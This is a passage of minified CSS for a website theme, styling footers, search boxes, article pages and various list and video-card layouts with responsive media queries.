.header-container{box-shadow:0 4px 8px 0 rgba(0,0,0,.05)}}.ub-footer{text-align:center;padding:1.5rem 0;margin-top:1rem;background:var(--color-body-bg);border-top:1px solid var(--color-body-line)}.ub-footer .nav{padding:.5rem 0}.ub-footer .nav a{color:var(--color-text);display:inline-block;margin:0 .25rem}.ub-footer .nav a:hover{text-decoration:underline}.ub-footer .copyright{color:var(--color-text)}.ub-footer .copyright a{color:var(--color-text)}.ub-footer-a{text-align:center;padding:1.5rem 0;border-top:.05rem solid #eee;background:var(--color-primary);margin-top:1rem}.ub-footer-a .nav{padding:.5rem 0}.ub-footer-a .nav a{color:#fff;display:inline-block;margin:0 .25rem}.ub-footer-a .nav a:hover{text-decoration:underline}.ub-footer-a .copyright{color:#fff}.ub-footer-a .copyright a{color:#fff}.ub-footer-link{padding:2rem 0}.ub-footer-link a{color:var(--color-text)}.ub-footer-link a:hover{text-decoration:underline}.ub-footer-link.reverse{background:#1b1c20;color:#c4cfdb}.ub-footer-link.reverse a{color:#c4cfdb}.ub-footer-link.reverse .line{background-color:#32343c}.ub-footer-link .link{padding:1rem 0}.ub-footer-link .link .title{font-size:1rem}.ub-footer-link .link .list a{margin:.5rem 0;display:block}.ub-footer-link .content{padding:1rem 0}.ub-footer-link .line{height:1px;background:#eee;margin:1rem 0}.ub-footer-link .nav{padding:.5rem 0;text-align:center}.ub-footer-link .nav a{margin:0 .25rem}.ub-footer-link .copyright{text-align:center}@media screen and (max-width:40rem){.ub-footer-link .link{text-align:left;padding:1rem}.ub-footer-link .image{text-align:center}}.ub-search-block{background-color:var(--color-primary);padding:2rem .5rem 3rem .5rem;text-align:center;position:relative;background-size:cover}.ub-search-block.light{background-color:#fff}.ub-search-block.light .title{color:var(--color-text-default)}.ub-search-block.light .form .box input{border-color:var(--color-primary);outline:1px solid var(--color-primary)}.ub-search-block.light .form .box button{background-color:var(--color-primary);color:#fff}.ub-search-block .video-background{top:0;left:0;height:100%;-o-object-fit:cover;object-fit:cover;background-color:var(--color-primary);vertical-align:top;position:absolute;width:100%}.ub-search-block .content-container{position:relative}.ub-search-block .title{font-size:1.5rem;padding:0;color:#fff}.ub-search-block .sub-title{font-size:var(--font-size-large,1rem);color:#fff}.ub-search-block .form{padding-top:1rem}.ub-search-block .form .tab .tab-item{color:#fff;display:inline-block;line-height:1.8rem;padding:0 1rem;border-radius:.5rem .5rem 0 0}.ub-search-block .form .tab .tab-item.active{background-color:var(--color-content-bg);color:var(--color-primary)}.ub-search-block .form .keywords{line-height:1.5rem;color:var(--color-content-bg);margin-top:1.5rem}.ub-search-block .form .keywords .keywords-label{display:inline-block;line-height:1.5rem}.ub-search-block .form .keywords .keywords-item{display:inline-block;line-height:1.5rem;background-color:rgba(0,0,0,.1);border-radius:.3rem;color:#fff;padding:0 .5rem}.ub-search-block .form .keywords .keywords-item:hover{background-color:var(--color-content-bg);color:var(--color-text)}.ub-search-block .form .box{max-width:25rem;margin:0 auto;position:relative;height:2.5rem}.ub-search-block .form .box.rect input{border-radius:.5rem}.ub-search-block .form .box.rect button{border-radius:.5rem}.ub-search-block .form .box.captcha img{height:2.4rem;line-height:2.4rem;position:absolute;right:5rem;top:.05rem;border-radius:.25rem;cursor:pointer}.ub-search-block .form .box input{width:100%;border-radius:2.5rem;line-height:2.5rem;height:2.5rem;padding:0 1rem;outline:0}.ub-search-block .form .box button{position:absolute;right:.05rem;top:.05rem;background-color:#fff;border:none;border-radius:1.25rem;color:var(--color-primary,#419488);height:2.4rem;line-height:2.4rem;padding:0 1rem;margin:0}@media (max-width:40rem){.ub-search-block .title{font-size:1rem}}.ub-search-mobile-bar{display:flex;height:2rem;overflow:hidden;background-color:var(--color-content-bg);line-height:2rem;padding:0 .5rem}.ub-search-mobile-bar.page{background-color:var(--color-content-bg);height:2.5rem;padding:.25rem 0}.ub-search-mobile-bar.page .center .box{background-color:var(--color-input-bg)}.ub-search-mobile-bar .center .item,.ub-search-mobile-bar .left .item,.ub-search-mobile-bar .right .item{display:inline-block;min-width:2rem;line-height:2rem;text-align:center;color:#666}.ub-search-mobile-bar .center .item .icon,.ub-search-mobile-bar .left .item .icon,.ub-search-mobile-bar .right .item .icon{display:inline-block;font-size:var(--font-size-large,1rem)}.ub-search-mobile-bar .center{flex:1;line-height:1.4rem}.ub-search-mobile-bar .center .box{margin-top:.3rem;position:relative;height:1.4rem;background-color:var(--color-input-bg);border-radius:.7rem}.ub-search-mobile-bar .center .box .icon{position:absolute;display:block;left:.5rem;top:.4rem;line-height:1em;height:1rem;width:1rem;text-align:center;font-size:var(--font-size,.65rem)}.ub-search-mobile-bar .center .box .input{position:absolute;display:block;left:1.6rem;top:.2rem;border:none;width:calc(100% - 2rem);height:1rem;line-height:1rem;background-color:transparent;outline:0;padding:0}.ub-search-history .item{display:flex}.ub-search-history .item .remove,.ub-search-history .item .text,.ub-search-history .item .time{display:inline-block;min-width:1.5rem;text-align:center;line-height:1.5rem;color:#c4cfdb}.ub-search-history .item .text{flex:1;text-align:left;color:#333}.ub-search-result{background-color:#fff;padding:var(--size-margin,.5rem)}.ub-search-result .keyword{color:var(--color-primary,#419488);font-weight:700}.ub-search-result .count{color:var(--color-primary,#419488);font-weight:700}.ub-search-block-a{--radius:1rem;--height:1.6rem;--font-size:0.65rem;--font-size-btn:0.8rem;--border-size:0.05rem;position:relative;border:var(--border-size) solid var(--color-primary);border-radius:var(--radius);padding:0}.ub-search-block-a.lg{--radius:1.25rem;--height:2.5rem;--font-size:0.8rem;--font-size-btn:1rem;--border-size:0.1rem}.ub-search-block-a.mini .search-btn{padding:0 .5rem;font-size:.7rem}.ub-search-block-a .input{outline:0;height:var(--height);width:100%;line-height:var(--height);border:none;padding:0 .5rem;font-size:var(--font-size);box-sizing:border-box;border-radius:var(--radius)}.ub-search-block-a .search-btn{display:block;height:var(--height);padding:0 1rem;line-height:var(--height);background-color:var(--color-primary,#419488);color:#fff;position:absolute;right:0;top:0;font-size:var(--font-size-btn);border-radius:calc(var(--radius) - 2px)}.ub-search-block-a .search-btn:hover{color:#fff}.ub-article{border-radius:var(--size-radius,.25rem)}.ub-article.white{background:#fff;padding:1rem}.ub-article h1{font-size:1.5rem;padding:0;margin:0;line-height:2rem}.ub-article .attr{color:#c4cfdb;padding:.5rem 0;border-bottom:.05rem solid #eee}.ub-article .cover img{width:100%}.ub-article .content{padding:.5rem 0}.ub-article-a{background:#fff;padding:1rem;border-radius:var(--size-radius,.25rem)}.ub-article-a .image{border:#eee 1px solid;padding:.5rem;overflow:hidden}.ub-article-a .image .text{color:#666;padding:.25rem 0}.ub-article-a .image .text .left{float:left}.ub-article-a .image .text .right{float:right}.ub-article-a .content{padding-left:1rem}.ub-article-a .content h1{color:#000;font-size:var(--font-size-large,1rem);line-height:1.5rem}.ub-article-a .content .info{padding:0}.ub-article-a .content .action{padding:.5rem 0 0 0}.ub-article-a .content .action .btn{margin-right:.5rem}.ub-list-head-tools-placeholder{height:2rem}.ub-list-head-tools{box-shadow:0 0 2px #ccc;background:var(--color-content-bg);height:2rem;display:flex;position:fixed;top:0;left:0;right:0;z-index:10000}.ub-list-head-tools .item{flex:1}.ub-list-head-tools .item.open .item-drawer-title .icon{transform:rotateZ(180deg)}.ub-list-head-tools .item.open .item-drawer-mask{display:block!important}.ub-list-head-tools .item .item-drawer .item-drawer-title{line-height:2rem;text-align:center}.ub-list-head-tools .item .item-drawer .item-drawer-title .icon,.ub-list-head-tools .item .item-drawer .item-drawer-title .text{display:inline-block}.ub-list-head-tools .item .item-drawer .item-drawer-title .icon{color:#ccc;transition:all .3s ease-in-out}.ub-list-head-tools .item .item-drawer .item-drawer-mask{transition:all .3s ease-in-out;display:none;position:absolute;top:2rem;left:0;right:0;height:calc(100vh - 2rem);background:rgba(0,0,0,.5)}.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content{position:relative;padding-bottom:3rem;background:var(--color-content-bg);border-top:1px solid var(--color-body-line)}.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content.no-foot{padding-bottom:0}.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content.no-foot .item-drawer-content-body{max-height:calc(100vh - 2rem)}.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body{max-height:calc(100vh - 2rem - 3rem);overflow:auto;background:var(--color-content-bg);padding:var(--size-margin);box-shadow:inset 0 0 10px var(--color-body-line)}.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item{font-size:var(--font-size);text-align:left;line-height:2rem;padding:0 1rem;display:flex}.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item.active{color:var(--color-primary)}.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item.active .checked{visibility:visible}.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item .checked{font-size:var(--font-size-large);overflow:hidden;visibility:hidden;width:1.5rem}.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item .checked,.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item .text{display:inline-block;vertical-align:middle}.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item .text{border-bottom:1px solid #f8f8f8;flex:1}.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-body .item-drawer-content-body-list .item-drawer-content-body-item .text:last-child{border-bottom:none}.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-foot{display:flex;padding:var(--size-margin);position:absolute;bottom:0;left:0;right:0;background:var(--color-content-bg);border-top:1px solid var(--color-body-line)}.ub-list-head-tools .item .item-drawer .item-drawer-mask .item-drawer-content .item-drawer-content-foot .btn{flex:1;margin:0 .5rem}.ub-list{background:var(--color-content-bg);border-radius:var(--size-radius)}.ub-list.no-bg{background-color:transparent}.ub-list.no-bg .head{padding:.5rem 0}.ub-list.no-bg .body{margin-left:-.5rem;margin-right:-.5rem}.ub-list .head{padding:.5rem}.ub-list .head .more{float:right;line-height:1.5rem}.ub-list .head .title{display:inline-block;line-height:1rem;font-size:var(--font-size)}.ub-list .body{margin-top:-.5rem;padding:.5rem}.ub-list .body mark,.ub-list-items mark{color:red;background:0 0}.ub-list .body .item-a,.ub-list-items .item-a{border-radius:.5rem;padding:.5rem .5rem .5rem 3.5rem;overflow:hidden;margin:0 0 .5rem 0;box-shadow:0 0 1rem rgba(0,0,0,.05);background-color:var(--color-content-bg)}.ub-list .body .item-a .icon,.ub-list-items .item-a .icon{float:left;margin:.25rem 0 0 -2.75rem;height:2rem;width:2rem;border-radius:.15rem;background-size:cover;background-position:center;background-repeat:no-repeat}.ub-list .body .item-a .icon .img,.ub-list .body .item-a .icon img,.ub-list-items .item-a .icon .img,.ub-list-items .item-a .icon img{height:2rem;width:2rem;border-radius:.15rem}.ub-list .body .item-a .icon img,.ub-list-items .item-a .icon img{object-fit:contain}.ub-list .body .item-a .title,.ub-list-items .item-a .title{display:block;color:var(--color-text);font-size:var(--font-size-large);line-height:1.5rem;height:1.5rem}.ub-list .body .item-a .title:hover,.ub-list-items .item-a .title:hover{color:#111}.ub-list .body .item-a .summary,.ub-list-items .item-a .summary{color:#c4cfdb;font-size:var(--font-size);height:1rem;line-height:1rem;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ub-list .body .item-b,.ub-list-items .item-b{line-height:2em;text-align:center;display:block;border-radius:.25rem;margin:.25rem 0;color:var(--color-primary);box-shadow:0 0 1rem rgba(0,0,0,.05);color:var(--color-text)}.ub-list .body .item-b:hover,.ub-list-items .item-b:hover{background-color:#eee}.ub-list .body .item-c,.ub-list-items .item-c{line-height:2em;display:block;margin:.25rem 0;color:var(--color-text);height:2em;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.ub-list .body .item-c:before,.ub-list-items .item-c:before{content:"▪";color:var(--color-primary);display:inline-block;margin-right:.2rem}.ub-list .body .item-d,.ub-list-items .item-d{border-bottom:.05rem dashed var(--color-body-line);padding:var(--size-margin) 0}.ub-list .body .item-d:hover .title,.ub-list-items .item-d:hover .title{color:var(--color-primary)}.ub-list .body .item-d .title,.ub-list-items .item-d .title{font-size:var(--font-size-large);color:var(--color-text);line-height:1.4rem;transition:color .2s ease-in-out}.ub-list .body .item-d .summary,.ub-list-items .item-d .summary{color:var(--color-tertiary);font-size:var(--font-size);padding:.25rem 0 0 0}.ub-list .body .item-d .action,.ub-list-items .item-d .action{display:flex;padding-top:.25rem;color:var(--color-muted)}.ub-list .body .item-d .action a,.ub-list-items .item-d .action a{color:var(--color-muted)}.ub-list .body .item-d .action .left,.ub-list-items .item-d .action .left{flex-grow:1}.ub-list .body .item-e,.ub-list-items .item-e{padding-bottom:.5rem;border-radius:.25rem;overflow:hidden;border:1px solid var(--color-body-bg)}.ub-list .body .item-e:hover,.ub-list-items .item-e:hover{box-shadow:0 1px 1px 0 rgba(0,0,0,.05)}.ub-list .body .item-e:hover .cover,.ub-list-items .item-e:hover .cover{transform:scale(1.05)}.ub-list .body .item-e:hover .title,.ub-list-items .item-e:hover .title{color:var(--color-primary)}.ub-list .body .item-e .cover,.ub-list-items .item-e .cover{display:block;overflow:hidden;background:no-repeat center;background-size:cover;border-radius:.25rem .25rem 0 0;transition:transform .3s ease-in-out}.ub-list .body .item-e .cover:after,.ub-list-items .item-e .cover:after{content:'';display:block;margin-top:66.666667%}.ub-list .body .item-e .title,.ub-list-items .item-e .title{line-height:1rem;height:1rem;display:block;margin-top:.5rem;padding:0 .5rem;color:var(--color-text);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;transition:all .3s ease-in-out}.ub-list .body .item-e .summary,.ub-list-items .item-e .summary{margin-top:.25rem;line-height:1rem;height:2rem;color:#c4cfdb;overflow:hidden;padding:0 .5rem}.ub-list .body .item-f,.ub-list-items .item-f{padding:0 0 0 4rem;margin:0 0 .75rem 0}.ub-list .body .item-f .date,.ub-list-items .item-f .date{float:left;margin:0 0 0 -4rem;display:block;width:3rem;border:.05rem solid var(--color-primary);border-radius:.15rem;text-align:center;line-height:1.25rem}.ub-list .body .item-f .date .day,.ub-list-items .item-f .date .day{color:#fff;font-size:var(--font-size-large);background:var(--color-primary)}.ub-list .body .item-f .date .month,.ub-list-items .item-f .date .month{color:var(--color-text)}.ub-list .body .item-f .title,.ub-list-items .item-f .title{display:block;line-height:1rem;height:1rem;overflow:hidden}.ub-list .body .item-f .summary,.ub-list-items .item-f .summary{color:#c4cfdb;height:2rem;line-height:1rem;overflow:hidden}.ub-list .body .item-g,.ub-list-items .item-g{border-radius:.25rem;padding:1rem;overflow:hidden;margin:0 0 .5rem 0;text-align:center;display:block;background-color:var(--color-content-bg)}.ub-list .body .item-g:hover,.ub-list-items .item-g:hover{box-shadow:0 0 1rem rgba(0,0,0,.05)}.ub-list .body .item-g .title,.ub-list-items .item-g .title{display:block;color:var(--color-text);margin-top:.5rem;height:1rem;line-height:1rem;overflow:hidden}.ub-list .body .item-g .title:hover,.ub-list-items .item-g .title:hover{color:#111}.ub-list .body .item-h,.ub-list-items .item-h{border:.05rem solid #eee;border-radius:.15rem;padding:.5rem .5rem .5rem 2.5rem;overflow:hidden;margin:0 0 .5rem 0;display:block}.ub-list .body .item-h:last-child,.ub-list-items .item-h:last-child{margin-bottom:0}.ub-list .body .item-h:hover,.ub-list-items .item-h:hover{border-color:#ccc}.ub-list .body .item-h .icon,.ub-list-items .item-h .icon{float:left;margin:0 0 0 -2rem}.ub-list .body .item-h .icon img,.ub-list-items .item-h .icon img{height:1.5rem;width:1.5rem;border:none}.ub-list .body .item-h .icon .cover,.ub-list-items .item-h .icon .cover{display:block;width:1.5rem;height:1.5rem;background-repeat:no-repeat;background-position:center;background-size:cover}.ub-list .body .item-h .icon i,.ub-list-items .item-h .icon i{display:block;width:1.5rem;height:1.5rem;line-height:1.5rem;text-align:center;font-size:var(--font-size-large);color:#c4cfdb}.ub-list .body .item-h .title,.ub-list-items .item-h .title{display:block;color:var(--color-text);font-size:var(--font-size);line-height:1.5rem;height:1.5rem}.ub-list .body .item-h .title:hover,.ub-list-items .item-h .title:hover{color:#111}.ub-list .body .item-i,.ub-list-items .item-i{border-radius:.25rem;padding:.5rem .5rem .5rem 2.5rem;overflow:hidden;margin:0 0 .5rem 0;display:block;background-color:#fff}.ub-list .body .item-i:hover,.ub-list-items .item-i:hover{box-shadow:0 1px 1px 0 rgba(0,0,0,.05)}.ub-list .body .item-i:hover .title,.ub-list-items .item-i:hover .title{color:var(--color-primary)}.ub-list .body .item-i .right,.ub-list-items .item-i .right{float:right;color:var(--color-muted);padding-left:1rem}.ub-list .body .item-i .icon,.ub-list-items .item-i .icon{float:left;margin:.25rem 0 0 -2rem;width:1.5rem;border-radius:.25rem}.ub-list .body .item-i .icon img,.ub-list-items .item-i .icon img{height:1.5rem;width:1.5rem;border:none}.ub-list .body .item-i .icon i,.ub-list-items .item-i .icon i{display:block;width:1.5rem;height:1.5rem;line-height:1.5rem;text-align:center;font-size:var(--font-size-large);color:#c4cfdb}.ub-list .body .item-i .title,.ub-list-items .item-i .title{display:block;color:var(--color-text);font-size:var(--font-size);line-height:1rem;height:1rem;overflow:hidden;text-overflow:ellipsis}.ub-list .body .item-i .title:hover,.ub-list-items .item-i .title:hover{color:#111}.ub-list .body .item-i .desc,.ub-list-items .item-i .desc{color:#c4cfdb;font-size:.65rem;line-height:1rem;height:1rem;overflow:hidden;display:block;text-overflow:ellipsis}.ub-list .body .item-j,.ub-list-items .item-j{border:.05rem solid #eee;border-radius:.15rem;padding:.5rem;overflow:hidden;margin:0 0 .5rem 0;display:block;color:#c4cfdb}.ub-list .body .item-j:hover,.ub-list-items .item-j:hover{border-color:#ccc}.ub-list .body .item-j .status,.ub-list-items .item-j .status{float:right;line-height:1rem;color:#c4cfdb}.ub-list .body .item-j .title,.ub-list-items .item-j .title{display:block;color:var(--color-text);font-size:var(--font-size);line-height:1rem;height:1rem}.ub-list .body .item-j .title:hover,.ub-list-items .item-j .title:hover{color:#111}.ub-list .body .item-j .attr,.ub-list-items .item-j .attr{padding:.5rem 0 0 0;font-size:var(--font-size)}.ub-list .body .item-j .attr .line,.ub-list-items .item-j .attr .line{line-height:.975rem}.ub-list .body .item-k,.ub-list-items .item-k{padding:.5rem .5rem .5rem 10.5rem;overflow:hidden;border-radius:.25rem;background:var(--color-content-bg)}.ub-list .body .item-k.item-k-a,.ub-list-items .item-k.item-k-a{padding:.5rem .5rem .5rem 4rem}.ub-list .body .item-k.item-k-a .image,.ub-list-items .item-k.item-k-a .image{width:3rem;margin-left:-3.5rem;border-radius:50%}.ub-list .body .item-k.item-k-a .image .cover,.ub-list-items .item-k.item-k-a .image .cover{border-radius:50%;box-shadow:0 0 1px #c4cfdb}.ub-list .body .item-k.item-k-a .info,.ub-list-items .item-k.item-k-a .info{padding-top:.5rem}.ub-list .body .item-k.item-k-b,.ub-list-items .item-k.item-k-b{padding:.25rem .25rem .25rem 3rem}.ub-list .body .item-k.item-k-b .image,.ub-list-items .item-k.item-k-b .image{width:2rem;height:2rem;margin-left:-2.5rem}.ub-list .body .item-k.item-k-b .image .cover,.ub-list-items .item-k.item-k-b .image .cover{box-shadow:0 0 1px #c4cfdb}.ub-list .body .item-k.item-k-b .title,.ub-list-items .item-k.item-k-b .title{font-size:var(--font-size);padding:.25rem 0;display:block;padding:.5rem 0;line-height:1rem}.ub-list .body .item-k.item-k-b .right,.ub-list-items .item-k.item-k-b .right{padding:0 .25rem;height:2rem;display:flex;align-items:center}.ub-list .body .item-k:hover .image .cover,.ub-list-items .item-k:hover .image .cover{transform:scale(1.05)}.ub-list .body .item-k:hover .title,.ub-list-items .item-k:hover .title{color:var(--color-primary)}.ub-list .body .item-k .right,.ub-list-items .item-k .right{float:right}.ub-list .body .item-k .image,.ub-list-items .item-k .image{width:9rem;float:left;margin-left:-10rem;display:block;overflow:hidden;border-radius:.25rem}.ub-list .body .item-k .image .cover,.ub-list-items .item-k .image .cover{border-radius:.25rem;transition:transform .6s ease-in-out}.ub-list .body .item-k .title,.ub-list-items .item-k .title{font-size:var(--font-size-large);color:var(--color-text);line-height:1.2;display:block;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.ub-list .body .item-k .summary,.ub-list-items .item-k .summary{color:var(--color-tertiary);font-size:var(--font-size);padding:.5rem 0 0 0;height:3.425rem;line-height:.975rem;display:block;overflow:hidden;-webkit-line-clamp:3;-webkit-box-orient:vertical;display:-webkit-box}.ub-list .body .item-k .info,.ub-list-items .item-k .info{color:var(--color-tertiary);font-size:var(--font-size);padding:1rem 0 0 0;overflow:hidden;display:block}.ub-list .body .item-k .info .left,.ub-list-items .item-k .info .left{float:left}.ub-list .body .item-k .info .right,.ub-list-items .item-k .info .right{float:right}.ub-list .body .item-k .info a,.ub-list-items .item-k .info a{color:var(--color-tertiary)}.ub-list .body .item-k .info a:hover,.ub-list-items .item-k .info a:hover{text-decoration:underline}.ub-list .body .item-l,.ub-list-items .item-l{line-height:2em;display:block;position:relative;height:1.5rem;overflow:hidden;padding-left:2rem;padding-right:7em;box-sizing:content-box}.ub-list .body .item-l .seq,.ub-list-items .item-l .seq{position:absolute;width:1rem;height:1rem;left:0;top:.25em;background:#fbe6e6;cursor:pointer;line-height:1rem;text-align:center;color:#d22525;display:block}.ub-list .body .item-l .right,.ub-list-items .item-l .right{position:absolute;right:0;top:0;color:var(--color-text);width:6em;text-align:center;background:#f9f9f9}.ub-list .body .item-l .title,.ub-list-items .item-l .title{color:var(--color-primary);white-space:nowrap;text-overflow:ellipsis;display:block;height:1rem;overflow:hidden}.ub-list .body .item-m,.ub-list-items .item-m{color:#c4cfdb;background-color:#f6f6f6;height:1.5rem;line-height:1.5rem;overflow:hidden;padding:0 .2rem;display:-moz-box;white-space:nowrap;text-overflow:ellipsis;display:block;margin:.1rem -.15rem;border-radius:3px}.ub-list .body .item-m:hover,.ub-list-items .item-m:hover{background:var(--color-primary);color:#fff}.ub-list .body .item-n,.ub-list-items .item-n{margin-bottom:1rem;transition:all .3s ease-in-out}.ub-list .body .item-n:hover,.ub-list-items .item-n:hover{transform:translateY(-.25rem);background:var(--color-content-bg);box-shadow:0 0 .5rem rgba(0,0,0,.1)}.ub-list .body .item-n .image .cover,.ub-list-items .item-n .image .cover{border-radius:.1rem}.ub-list .body .item-n .text .cover,.ub-list-items .item-n .text .cover{display:flex;align-items:center;justify-content:center;border-radius:.1rem}.ub-list .body .item-n .text .cover .content,.ub-list-items .item-n .text .cover .content{color:#111;text-shadow:0 0 10px #eee;font-size:1rem}.ub-list .body .item-o,.ub-list-items .item-o{background:#fff;margin-bottom:.5rem;border-radius:3px}.ub-list .body .item-o:hover .image .cover,.ub-list-items .item-o:hover .image .cover{transform:scale(1.1);transition:all .6s}.ub-list .body .item-o .image,.ub-list-items .item-o .image{display:block;background:#fff;overflow:hidden}.ub-list .body .item-o .title,.ub-list-items .item-o .title{font-size:var(--font-size-large);display:block;color:var(--color-primary);border-top:.25rem solid var(--color-primary);background:#fff;line-height:2rem;padding:0 1rem;position:relative}.ub-list .body .item-o .title:after,.ub-list-items .item-o .title:after{content:'>';display:block;transform:scaleX(.6);font-weight:700;position:absolute;right:1rem;top:0;height:2rem;font-size:var(--font-size-large)}.ub-list .body .item-p,.ub-list-items .item-p{border-radius:.25rem;margin-bottom:.5rem;background:#fff;padding:0 0 1rem 0;box-shadow:0 1px 1px 0 rgba(0,0,0,.05)}.ub-list .body .item-p:hover .image .cover,.ub-list-items .item-p:hover .image .cover{transform:scale(1.1)}.ub-list .body .item-p .image,.ub-list-items .item-p .image{display:block;overflow:hidden;border-radius:.25rem .25rem 0 0}.ub-list .body .item-p .image .cover,.ub-list-items .item-p .image .cover{border-radius:.2rem .2rem 0 0;transition:transform .6s}.ub-list .body .item-p .title,.ub-list-items .item-p .title{font-size:var(--font-size);text-align:center;padding:.5rem;display:block;color:var(--color-text);height:2rem;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.ub-list .body .item-p .title:hover,.ub-list-items .item-p .title:hover{color:var(--color-primary)}.ub-list .body .item-p .summary,.ub-list-items .item-p .summary{display:block;color:#c4cfdb;text-align:center;height:1rem;line-height:1rem;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;padding:0 .5rem;cursor:default}.ub-list .body .item-p .summary.line2,.ub-list-items .item-p .summary.line2{height:2rem;white-space:normal;-webkit-box-orient:vertical;-webkit-line-clamp:2;display:-webkit-box}.ub-list .body .item-video,.ub-list-items .item-video{position:relative;display:block;margin:.5rem;border-radius:.15rem}.ub-list .body .item-video img,.ub-list-items .item-video img{width:100%}.ub-list .body .item-video .mask,.ub-list-items .item-video .mask{border-radius:.15rem;position:absolute;background:rgba(0,0,0,.2);text-align:center;left:0;right:0;bottom:0;top:0;color:#fff;font-size:3rem}.ub-list .body .item-video .mask .box,.ub-list-items .item-video .mask .box{display:table;height:100%;width:100%}.ub-list .body .item-video .mask .box i,.ub-list-items .item-video .mask .box i{vertical-align:middle;display:table-cell}.ub-list .body .item-video-cover,.ub-list-items .item-video-cover{background-color:var(--color-content-bg);margin:0 0 .5rem 0;border-radius:var(--size-radius);overflow:hidden;transition:box-shadow .3s}.ub-list .body .item-video-cover.vertical .cover:after,.ub-list-items .item-video-cover.vertical .cover:after{margin-top:151%}.ub-list .body .item-video-cover:hover,.ub-list-items .item-video-cover:hover{box-shadow:0 1px 1px 0 rgba(0,0,0,.05)}.ub-list .body .item-video-cover:hover .cover,.ub-list-items .item-video-cover:hover .cover{transform:scale(1.05)}.ub-list .body .item-video-cover:hover .cover .mask-text,.ub-list-items .item-video-cover:hover .cover .mask-text{transform:scale(.95)}.ub-list .body .item-video-cover:hover .title,.ub-list-items .item-video-cover:hover .title{color:var(--color-primary)}.ub-list .body .item-video-cover .cover,.ub-list-items .item-video-cover .cover{display:block;overflow:hidden;background:no-repeat center;background-size:cover;border-radius:var(--size-radius) var(--size-radius) 0 0;transition:transform .3s ease-in-out;position:relative}.ub-list .body .item-video-cover .cover:after,.ub-list-items .item-video-cover .cover:after{content:'';display:block;margin-top:66.666667%}.ub-list .body .item-video-cover .cover .mask-text,.ub-list-items .item-video-cover .cover .mask-text{position:absolute;bottom:0;left:0;right:0;background:rgba(0,0,0,.1);padding:.25rem;color:#fff;text-align:center;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;transition:all .3s}.ub-list .body .item-video-cover .title,.ub-list-items .item-video-cover .title{line-height:1rem;height:1.5rem;overflow:hidden;display:block;color:var(--color-text);white-space:nowrap;text-overflow:ellipsis;width:100%;padding:.25rem .5rem}.ub-list .body .item-video-cover .category,.ub-list-items .item-video-cover .category{padding:.25rem .5rem}.ub-list .body .item-video-cover .category .stat,.ub-list-items .item-video-cover .category .stat{float:right}.ub-list .body .item-video-cover .category .stat a,.ub-list-items .item-video-cover .category .stat a{margin-left:var(--size-margin)}.ub-list .body .item-video-cover .category a,.ub-list-items .item-video-cover .category a{color:var(--color-tertiary)}.ub-list .body .item-video-cover .category a i,.ub-list-items .item-video-cover .category a i{display:inline-block;width:1em;text-align:center}.ub-list .body .item-video-cover .category a:hover,.ub-list-items .item-video-cover .category a:hover{color:var(--color-text)}.ub-list .body .item-video-cover-a,.ub-list-items .item-video-cover-a{padding:var(--size-margin);margin:0 0 .5rem 0}.ub-list .body .item-video-cover-a:hover .cover,.ub-list-items .item-video-cover-a:hover .cover{transform:scale(1.07);transition:all .3s}.ub-list .body .item-video-cover-a .cover,.ub-list-items .item-video-cover-a .cover{display:block;border-radius:var(--size-radius);position:relative}.ub-list .body .item-video-cover-a .cover .time,.ub-list-items .item-video-cover-a .cover .time{position:absolute;display:block;bottom:.5rem;right:1rem;color:#fff;text-shadow:0 0 2px #ccc;font-size:var(--font-size-small)}.ub-list .body .item-video-cover-a .user,.ub-list-items .item-video-cover-a .user{display:block;height:2.2rem;margin-top:-.5rem;margin-left:1rem;position:relative}.ub-list .body .item-video-cover-a .user .avatar,.ub-list-items .item-video-cover-a .user .avatar{width:1.8rem;height:1.8rem;display:inline-block}.ub-list .body .item-video-cover-a .user .avatar .image,.ub-list-items .item-video-cover-a .user .avatar .image{width:1.8rem;height:1.8rem;border:.1rem solid #fff;border-radius:50%}.ub-list .body .item-video-cover-a .user .name,.ub-list-items .item-video-cover-a .user .name{display:inline-block;vertical-align:bottom;color:#1d1d1d}.ub-list .body .item-video-cover-a .title,.ub-list-items .item-video-cover-a .title{line-height:1rem;height:2rem;overflow:hidden;display:block;color:#1d1d1d;text-overflow:ellipsis;width:100%}.ub-list .body .item-video-cover-a .info,.ub-list-items .item-video-cover-a .info{font-size:var(--font-size-small);color:#c4cfdb;padding-top:.5rem}@media screen and (max-width:40rem){.ub-list .body .item-k,.ub-list-items .item-k{padding:.5rem .5rem .5rem 5rem}.ub-list .body .item-k .title,.ub-list-items .item-k .title{font-size:var(--font-size)}.ub-list .body .item-k .image,.ub-list-items .item-k .image{width:4rem;margin-left:-4.5rem}.ub-list .body .item-k .summary,.ub-list-items .item-k .summary{font-size:var(--font-size-small);padding-top:.25rem;height:2rem}}@media screen and (max-width:40rem){.ub-list .body .item-video-cover:hover,.ub-list-items .item-video-cover:hover{transform:none}.ub-list{max-width:100%;overflow:hidden}.ub-list.no-bg 